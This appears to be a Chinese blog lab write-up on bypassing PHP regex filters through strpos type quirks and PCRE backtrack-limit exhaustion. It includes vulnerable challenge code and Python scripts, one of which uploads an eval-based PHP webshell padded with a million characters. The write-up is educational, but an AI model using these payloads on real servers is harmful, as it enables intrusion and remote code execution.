当前位置: 首页 > news >正文

利用回溯绕过正则表达式

目录

利用strpos的特性拿到flag

利用回溯绕过正则表达式

利用回溯次数绕过正则表达式并且实现文件上传

使用回溯绕过正则表达式waf拿到flag


本篇会讲解三个实验来分别绕过正则表达式,python的正则表达式和Javascript的正则表达式大致相同如果有正则表达式不太懂的小伙伴也可以看一下我之前写过的一篇关于Javascript正则表达式的文章:Javascript正则表达式

利用strpos的特性拿到flag

在看利用正则表达式绕过waf之前我们首先看这样一个案例:利用!==来拿到flag

现在有一个php文件设置了防御机制我们应该如果进行绕过

<?php
// 利用回溯绕过正则表达式
function areyouok($greeting){ return preg_match('/Merry.*Christmas/is',$greeting);//正则匹配
}
$greeting=@$_POST['greeting'];
//它是处理字符串,如果你传一个数组,直接返回nullif(!areyouok($greeting)) //如果正则为假{if(strpos($greeting,'Merry Christmas') !== false){//字符查找,如果查找到返回字符的位置,没有就返回null// strpos:查看指定字符的首次出现位置,echo 'Mearry Christmas. '.'flag{i_lov3_NanHang_everyThing}';}else{echo "Do you know .swp file?";}
}else{echo 'DO you know PHP?';}

我们可以利用弱类型!== 来进行绕过,由于if条件判断中对我们提交的grerting进行了strpos函数的处理,这个函数有一个特性它是处理字符串,如果传入了一个数组,就会直接返回返回null
然后我们又知道:

null != false 的结果是false 
null !==false 的结果是 true

这里可以参考这两张表:

 

可以利用这一点给greeting中传入一个非字符串的值,比如说数组,来让if条件判断的结果为真,即!==的结果为真,null !== false为真,这样我们就可以成功的拿到flag了

测试一下:

可以看到我们确实是拿到了flag!!!

但是如果上面的代码修改成这个样子那我们应该怎么绕过呢?

<?php
function areyouok($greeting)
{return preg_match('/Merry.*Christmas/is',$greeting);
}
$greeting=@$_POST['greeting'];
//它是处理字符串,如果你传一个数组,直接返回null
if(!is_array($greeting)){if(!areyouok($greeting)){if(strpos($greeting,'Merry Christmas') != false){//字符查找,如果查找到返回字符的位置,没有就返回null// strpos:查看指定字符的首次出现位置// 特性,它是处理字符串,如果传入了一个数组,就会返回echo 'Mearry Christmas. '.'flag{i_lov3_NanHang_everyThing}';}else{echo "Do you know .swp file?";}
}}else{echo 'DO you know PHP?';}
?>

这里就需要我们的回溯来进行绕过了

利用回溯绕过正则表达式

这里首先我们需要知道一个NFA和DFA引擎

正则表达式是一个可以被「有限状态自动机」接受的语言类。

「有限状态自动机」,其拥有有限数量的状态,每个状态可以迁移到零个或多个状态,输入字串决定执行哪个状态的迁移。

而常见的正则引擎,又被细分为 DFA(确定性有限状态自动机)与 NFA(非确定性有限状态自动机)。他们匹配输入的过程分别是:

DFA: 从起始状态开始,一个字符一个字符地读取输入串,并根据正则来一步步确定至下一个转移状态,直到匹配不上或走完整个输入

NFA:从起始状态开始,一个字符一个字符地读取输入串,并与正则表达式进行匹配,如果匹配不上,则进行回溯,尝试其他状态

由于 NFA 的执行过程存在回溯,所以其性能会劣于 DFA,但它支持更多功能。

大多数程序语言都使用了 NFA 作为正则引擎,其中也包括 PHP 使用的 PCRE 库。

注:js的引擎是DFA,PHP的引擎是NFA(这也是可以被回溯可以绕过waf的原因)

PHP 的 pcre.backtrack_limit 限制利用

PHP 为了防止正则表达式的拒绝服务攻击(reDOS),给 pcre 设定了一个回溯次数上限 pcre.backtrack_limit。

我们可以通过 var_dump(ini_get('pcre.backtrack_limit'));的方式查看当前环境下的上限:

这里有个有趣的事情,就是 PHP 文档中,中英文版本的数值是不一样的:

中文为10万

英文为100万

我们应该以英文版为参考。

可见,回溯次数上限默认是 100 万。那么,假设我们的回溯次数超过了 100 万,会出现什么现象呢?

我们通过发送超长字符串的方式,使正则执行失败,即,可以在传入的代码中传入100万个字符,让将正则的回溯次数消耗完,那么正则就失效了,最后绕过目标对 PHP 语言的限制。

这里可以举一个例子:

现在有一个文件上传的后端php代码中设置了正则表达式waf

利用回溯次数绕过正则表达式并且实现文件上传

<?php
function is_php($data)
{return preg_match('/<\?.*[(`;?)].*/is',$data); //这里是一个正则,用于防御php文件的上传
}
if (empty($_FILES)) //这里判断是不是文件
{die(show_source(__FILE__)); //打印出源码
}
$user_dir =md5($_SERVER['REMOTE_ADDR']);
$data = file_get_contents($_FILES['file']['tmp_name']); //获取文件内容
if(is_php($data)){die ("bad request");
}
else{@mkdir($user_dir,0755);$path =$user_dir . '/' . 'oupeng'. '.php';move_uploaded_file($_FILES['file']['tmp_name'],$path);header("Location:$path",true,303);
}
//任意命令执行

我们就可以利用正则表达式的回溯次数 实现文件上传

编写pythonPOST提交代码:

from requests import post,get
from requests import post
payload={'greeting':'Merry Christmas'
}
res=post('http://127.0.0.1/openlab/xss/regexp/demo4.php',data=payload)
print(res.text)

这里我们还没有增加绕过,先看看结果

可以看到,这咯因为有正则waf的限制,我们无法上传一个.php后缀的文件

现在我们增加100万个字符在里面:

from requests import post,get
from io import BytesIO
url='http://127.0.0.1/openlab/xss/regexp/demo5.php'
files = {'file': BytesIO(b'aaa<?php eval($_POST[123]);//' +b'a' *1000000)
}
res = post(url,files=files,allow_redirects=False)
print(res.text)

再去查看结果:

很明显我们已经成功的利用回溯次数绕过了waf拿到了flag

那些我们也可以在文件中看看我们上传额度.php文件是否上传成功

 很明显这里新建了一个文件夹,文件夹下有一个php文件,里面有很多a,我们这里就成功的绕过了php的限制,下面我们就可以直接使用蚁剑来连接

 

到这里我们这个实验就完成了,这个实验说明利用正则的回溯次数确实是可以绕过正则表达式的

最后那就试着使用回溯来绕过那个加强版的题目

使用回溯绕过正则表达式waf拿到flag

这里就不用多说了,直接给传入的值中增加100万个字符试试

demo2.php的代码前民已经给出了

这里是python的代码:

from requests import post,get
payload={'greeting':'Merry Christmas' +'a' * 1000000
}
res=post('http://127.0.0.1/openlab/xss/regexp/demo2.php',data=payload)
print(res.text)

可以看到成功的拿到了flag,到这里利用回溯绕过waf的实验就已经全部完成了

总结一下

1、我们利用lstrpos函数会将非字符串的值当做null+!==来绕过了最基本的正则

2、利用回溯我们也可以绕过文件上传的后缀名限制,上传webshell

3、利用回溯我们绕过了正则表达式的限制,成功的拿到了flag

相关文章:

利用回溯绕过正则表达式

目录 利用strpos的特性拿到flag 利用回溯绕过正则表达式 利用回溯次数绕过正则表达式并且实现文件上传 使用回溯绕过正则表达式waf拿到flag 本篇会讲解三个实验来分别绕过正则表达式&#xff0c;python的正则表达式和Javascript的正则表达式大致相同如果有正则表达式不太懂…...

Flutter执行flutter doctor报错HTTP Host Availability

问题描述 [!] HTTP Host Availability✗ HTTP host https://maven.google.com/ is not reachable. Reason: An erroroccurred while checking the HTTP host: Operation timed out解决方案 将文件flutter/packages/flutter_tools/lib/src/http_host_validator.dart中的https:…...

全栈工程师必须要掌握的前端Html技能

作为一名全栈工程师&#xff0c;在日常的工作中&#xff0c;可能更侧重于后端开发&#xff0c;如&#xff1a;C#&#xff0c;Java&#xff0c;SQL &#xff0c;Python等&#xff0c;对前端的知识则不太精通。在一些比较完善的公司或者项目中&#xff0c;一般会搭配前端工程师&a…...

腾讯云服务器租用价格,腾讯云服务器租用价格多少钱一年?

腾讯云服务器租用价格&#xff0c;腾讯云服务器租用价格多少钱一年&#xff1f;腾讯云服务器有优惠活动&#xff0c;现在租用只需要88元/年&#xff01;腾讯云服务器优惠购买入口&#xff1a;https://1111.mian100.cn 随着互联网的发展&#xff0c;越来越多的人开始选择将自己…...

QTableWidget 设置列宽行高大小的几种方式及其他常用属性设置

目录 效果&#xff1a; 1.列宽、行高自动分配 2.固定值 3.随内容分配列宽 随内容分配行高 4.水平方向标签拓展剩下的窗口部分&#xff0c;填满表格 5.列宽是自动分配的&#xff0c;但是第一列可手动调整宽度&#xff0c;而表格整体的列宽仍是自动分配的。第二、三列办法调…...

【AI视野·今日CV 计算机视觉论文速览 第277期】Fri, 27 Oct 2023

AI视野今日CS.CV 计算机视觉论文速览 Fri, 27 Oct 2023 Totally 93 papers &#x1f449;上期速览✈更多精彩请移步主页 Daily Computer Vision Papers A Coarse-to-Fine Pseudo-Labeling (C2FPL) Framework for Unsupervised Video Anomaly Detection Authors Anas Al lahham…...

【教3妹学编程-算法题】购买物品的最大开销

3妹&#xff1a;2哥&#xff0c;听说你今天发工资啦&#xff1f; 请我吃饭怎么样&#xff0c;嘿嘿 2哥 : 切&#xff0c;你上周还发工资了呢&#xff0c;也没见你请我吃饭。 3妹&#xff1a;哎呀&#xff0c; 我的工资都用来双11 shopping了&#xff0c; 双11过后我都吃了1周土…...

关于pandas dataframe数据转换为JSON格式存储在Redis后,读取数据时发生数据篡改的问题以及解决办法

问题&#xff1a;当时处理股票数据&#xff0c;获取到以dataframe数据结构的股票&#xff0c;由于Redis 是一个内存中的数据结构存储系统&#xff0c;但是不接受dataframe数据结构的数据&#xff0c;选择将其先转化为JSON格式&#xff0c;但发现再将JSON格式转化为原数据时&…...

Go 语言编译环境

1. 请简要介绍一下Go语言的特点。 Go语言是一种静态类型、编译型语言&#xff0c;由Google开发。它的主要特点包括&#xff1a; 简洁高效&#xff1a;Go语言的语法非常简洁&#xff0c;易于学习和使用。同时&#xff0c;Go语言的执行效率高&#xff0c;适合开发高性能的后端服…...

Leetcode刷题详解——衣橱整理

1. 题目链接&#xff1a;LCR 130. 衣橱整理 2. 题目描述&#xff1a; 家居整理师将待整理衣橱划分为 m x n 的二维矩阵 grid&#xff0c;其中 grid[i][j] 代表一个需要整理的格子。整理师自 grid[0][0] 开始 逐行逐列 地整理每个格子。 整理规则为&#xff1a;在整理过程中&am…...

短视频ai剪辑分发账号矩阵系统(招商oem)----源头技术开发

短视频ai剪辑分发账号矩阵系统 1. 视频剪辑工具——原创短视频一键生成&#xff0c;视频剪辑亮点分析 &#xff08;1&#xff09;多模式智能剪辑 包含智能混剪逻辑、智能组合、场景顺序、图片生成视频等多种模式。在视频创作上也做了简化&#xff0c;即使是没有剪辑能力的创…...

Ubuntu18.04安装Loam保姆级教程

系统环境&#xff1a;Ubuntu18.04.6 LTS 1.Loam的安装前要求&#xff1a; 1.1 ROS安装&#xff1a;参考我的另一篇博客 Ubuntu18.04安装ROS-melodic保姆级教程_灬杨三岁灬的博客-CSDN博客还是那句话&#xff0c;有时候加了这行也不好使&#xff0c;我是疯狂试了20次&#xf…...

Rust 语言中的结构体

目录 1、结构体 2、结构体的定义和实例化 2.1 使用字段初始化简写语法 2.2 使用结构体更新语法从其他实例创建实例 2.3 没有命名字段的元组结构体 2.4 没有任何字段的类单元结构体 2.5 结构体示例程序 3、方法 3.1 关联函数 3.2 多个 impl 块 1、结构体 struct&…...

Unity开发之C#基础-异常处理(Try Catch)

前言 其实本来这章应该将栈和队列的 但是后来想想 栈和队列在实际应用很少跟多的是大家了解一下栈和队列的基本常识比如先进先出的是谁后进先出的是谁这种 csdn有很多介绍栈和队列的文章 我觉得都比我理解深刻所以大家可以去搜索参照一下 今天我们继续往下讲解 如何自己主动的…...

Epoxy:跨不同数据存储的 ACID 事务

Epoxy 利用 Postgres 事务数据库作为主数据库/协调数据库&#xff0c;并扩展多版本并发控制 (MVCC) 以实现跨数据存储隔离。它通过乐观并发控制 (OCC) 和两阶段提交 (2PC) 协议提供隔离性以及原子性和持久性。 环氧树脂被用作五种不同数据存储的接口层&#xff1a;Postgres, M…...

鸿蒙:从0到“Hello Harmony”

效果展示 一.概述 明年华为鸿蒙就不再兼容Android生态了&#xff0c;作为拥有7亿终端用户的华为&#xff0c;建立自己的生态也是理所当然。 所以对HarmonyOS的研究也是众多开发者绕不开的坎了。 今天这篇博文主要实现一个“Hello Harmony&#xff01;”的Demo。 二.官方链接…...

istio安装文档

1、重装命令 istioctl manifest generate --set profiledemo | kubectl delete --ignore-not-foundtrue -f - 2、下载 参考&#xff1a;02、istio部署到k8s中 - 简书 (jianshu.com) 参考 Istio / 入门 curl -L https://istio.io/downloadIstio | ISTIO_VERSION1.20.0 TAR…...

修改CentOS默认mail发件人名称

修改CentOS默认mail发件人名称 在CentOS中&#xff0c;可以通过修改邮件发送配置文件来修改默认的邮件发件人名称。以下是一些步骤&#xff0c;您可以根据您的实际情况进行修改&#xff1a; 打开终端或SSH连接到CentOS服务器。使用文本编辑器&#xff08;如vi或nano&#xff0…...

Trigger替换Demo

maven工程 pom依赖 <dependency><groupId>org.quartz-scheduler</groupId><artifactId>quartz</artifactId><version>2.2.1</version> </dependency> import org.quartz.Job; import org.quartz.JobExecutionContext; imp…...

iApp祁天社区UI成品源码 功能齐全的社区应用

iApp祁天社区UI成品源码是一个非常实用的资源&#xff0c;提供了完整的源代码&#xff0c;可以帮助您快速搭建一个功能齐全的社区应用。 这个源码具有丰富的UI设计&#xff0c;经过精心调整和优化&#xff0c;确保用户体验流畅而舒适。它不仅具备基本的社区功能&#xff0c;如…...

LBE-LEX系列工业语音播放器|预警播报器|喇叭蜂鸣器的上位机配置操作说明

LBE-LEX系列工业语音播放器|预警播报器|喇叭蜂鸣器专为工业环境精心打造&#xff0c;完美适配AGV和无人叉车。同时&#xff0c;集成以太网与语音合成技术&#xff0c;为各类高级系统&#xff08;如MES、调度系统、库位管理、立库等&#xff09;提供高效便捷的语音交互体验。 L…...

eNSP-Cloud(实现本地电脑与eNSP内设备之间通信)

说明&#xff1a; 想象一下&#xff0c;你正在用eNSP搭建一个虚拟的网络世界&#xff0c;里面有虚拟的路由器、交换机、电脑&#xff08;PC&#xff09;等等。这些设备都在你的电脑里面“运行”&#xff0c;它们之间可以互相通信&#xff0c;就像一个封闭的小王国。 但是&#…...

智慧工地云平台源码,基于微服务架构+Java+Spring Cloud +UniApp +MySql

智慧工地管理云平台系统&#xff0c;智慧工地全套源码&#xff0c;java版智慧工地源码&#xff0c;支持PC端、大屏端、移动端。 智慧工地聚焦建筑行业的市场需求&#xff0c;提供“平台网络终端”的整体解决方案&#xff0c;提供劳务管理、视频管理、智能监测、绿色施工、安全管…...

2025 后端自学UNIAPP【项目实战:旅游项目】6、我的收藏页面

代码框架视图 1、先添加一个获取收藏景点的列表请求 【在文件my_api.js文件中添加】 // 引入公共的请求封装 import http from ./my_http.js// 登录接口&#xff08;适配服务端返回 Token&#xff09; export const login async (code, avatar) > {const res await http…...

多种风格导航菜单 HTML 实现(附源码)

下面我将为您展示 6 种不同风格的导航菜单实现&#xff0c;每种都包含完整 HTML、CSS 和 JavaScript 代码。 1. 简约水平导航栏 <!DOCTYPE html> <html lang"zh-CN"> <head><meta charset"UTF-8"><meta name"viewport&qu…...

深入理解Optional:处理空指针异常

1. 使用Optional处理可能为空的集合 在Java开发中&#xff0c;集合判空是一个常见但容易出错的场景。传统方式虽然可行&#xff0c;但存在一些潜在问题&#xff1a; // 传统判空方式 if (!CollectionUtils.isEmpty(userInfoList)) {for (UserInfo userInfo : userInfoList) {…...

海云安高敏捷信创白盒SCAP入选《中国网络安全细分领域产品名录》

近日&#xff0c;嘶吼安全产业研究院发布《中国网络安全细分领域产品名录》&#xff0c;海云安高敏捷信创白盒&#xff08;SCAP&#xff09;成功入选软件供应链安全领域产品名录。 在数字化转型加速的今天&#xff0c;网络安全已成为企业生存与发展的核心基石&#xff0c;为了解…...

webpack面试题

面试题&#xff1a;webpack介绍和简单使用 一、webpack&#xff08;模块化打包工具&#xff09;1. webpack是把项目当作一个整体&#xff0c;通过给定的一个主文件&#xff0c;webpack将从这个主文件开始找到你项目当中的所有依赖文件&#xff0c;使用loaders来处理它们&#x…...

用神经网络读懂你的“心情”:揭秘情绪识别系统背后的AI魔法

用神经网络读懂你的“心情”:揭秘情绪识别系统背后的AI魔法 大家好,我是Echo_Wish。最近刷短视频、看直播,有没有发现,越来越多的应用都开始“懂你”了——它们能感知你的情绪,推荐更合适的内容,甚至帮客服识别用户情绪,提升服务体验。这背后,神经网络在悄悄发力,撑起…...

高保真组件库:开关

一:制作关状态 拖入一个矩形作为关闭的底色:44 x 22,填充灰色CCCCCC,圆角23,边框宽度0,文本为”关“,右对齐,边距2,2,6,2,文本颜色白色FFFFFF。 拖拽一个椭圆,尺寸18 x 18,边框为0。3. 全选转为动态面板状态1命名为”关“。 二:制作开状态 复制关状态并命名为”开…...